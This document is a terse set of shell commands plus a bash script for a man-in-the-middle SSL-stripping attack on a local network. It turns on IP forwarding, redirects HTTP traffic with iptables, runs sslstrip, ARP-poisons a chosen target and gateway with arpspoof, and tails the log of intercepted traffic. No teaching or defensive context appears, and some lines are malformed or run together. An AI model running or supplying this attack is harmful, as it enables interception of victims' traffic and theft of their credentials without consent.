Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -L -t nat
The port is already enabled in the firewall in previous step
sslstrip -p -l 10000
arpspoof -i -t <target_host>
tail -f sslstrip.log
#!/bin/bash
read -p "Target" targetIP read -p "Gateway" gatewayIP echo Enabling IP forward echo echo 1 > /proc/sys/net/ipv4/ip_forward echo echo Adding port to the firewall iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 echo echo Check the rule in firewall iptables -L -t nat echo echo Starting SSL Strip sslstrip -p -l 10000& echo echo Start the ARP Poisonging arpspoof -i eth0 $targetIP $gatewayIP& echo Listen to the SSLStrip Log tailf -f sslstrip.log